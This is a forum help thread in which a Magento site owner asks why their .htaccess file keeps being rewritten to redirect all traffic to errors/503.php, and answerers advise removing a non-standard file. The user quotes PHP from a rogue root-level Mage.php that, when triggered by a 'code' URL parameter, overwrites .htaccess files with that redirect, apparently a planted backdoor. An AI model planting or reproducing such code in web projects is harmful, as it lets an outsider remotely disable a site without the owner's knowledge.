Magento replacing my custom .htaccess file? every time my home page lands in : page is not redirecting. the url was www.example.com/errors/503.php

i would like to make clear there was no maintenance.flag file in root

The Mage.php file which we are discussing here is present in Root directory and not the app/Mage.php

  1. I am using Magento CE
  2. I found PHP script in Mage.php file, which creates .htaccess file with errors/503.php redirect.
  3. even though .htaccess file exist, why the else part of Mage.php file is getting executed?
  4. The newly created .htaccess file contains only redirect to errors/503.php
  5. right now i had changed my .htaccess file permission to 555.

Unable to resolve this. Kindly help me.

Mage.php contains


if(isset($_GET['code'])) {

$create_name = "/home/buildg8t/public_html/.htaccess";

if (file_exists($create_name)) { 

$htaccess = file_get_contents($create_name);
$rules = "RewriteBase /";

$content_string = "RewriteEngine On\n";

$content_string .= "RewriteBase /\n";

$content_string .= "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";

$content_string .= "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";

file_put_contents($create_name, $content_string);

$create_name = "../.htaccess";
$file_handle = fopen($create_name, 'w') or die("Error: Can't open file");
//enter the contents
$content_string = "RewriteEngine On\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteBase /\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";
fwrite($file_handle, $content_string);
// change www.website.com for your website
$content_string = "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";
fwrite($file_handle, $content_string);
  • Can you share the script you found in Mage.php ?
    – Prateek
    Nov 3, 2015 at 8:03
  • have you tried with magento default htaccess file
    – Amit Bera
    Nov 3, 2015 at 8:23
  • yes i have tried default , but my .htaccess file gets replaced with a file which has redirect only to errors/503.php
    – Vinay
    Nov 3, 2015 at 11:10

1 Answer 1


Code you shared is not from standard Mage.php file. Replace this with one from a default installation and you should be good to go. Although, unless someone placed it intentionally, you should investigate why it managed it's way into your installation.

  • Thank you for your inputs. The Mage.php file which we are talking here is in root folder and not the app/mage.php . I had checked with the magento stock files and there is no Mage.php file exist in root directory.
    – Vinay
    Nov 4, 2015 at 7:59
  • @user1372453, In that case, you need to check which Mage.php file is being called from your index.php file in root.
    – Prateek
    Nov 4, 2015 at 9:52
  • no its calling only app/Mage.php
    – Vinay
    Nov 4, 2015 at 12:14
  • Try removing that extra Mage.php file from your server, some external process can hit that, replacing your current .htaccess file.
    – Prateek
    Nov 4, 2015 at 13:31

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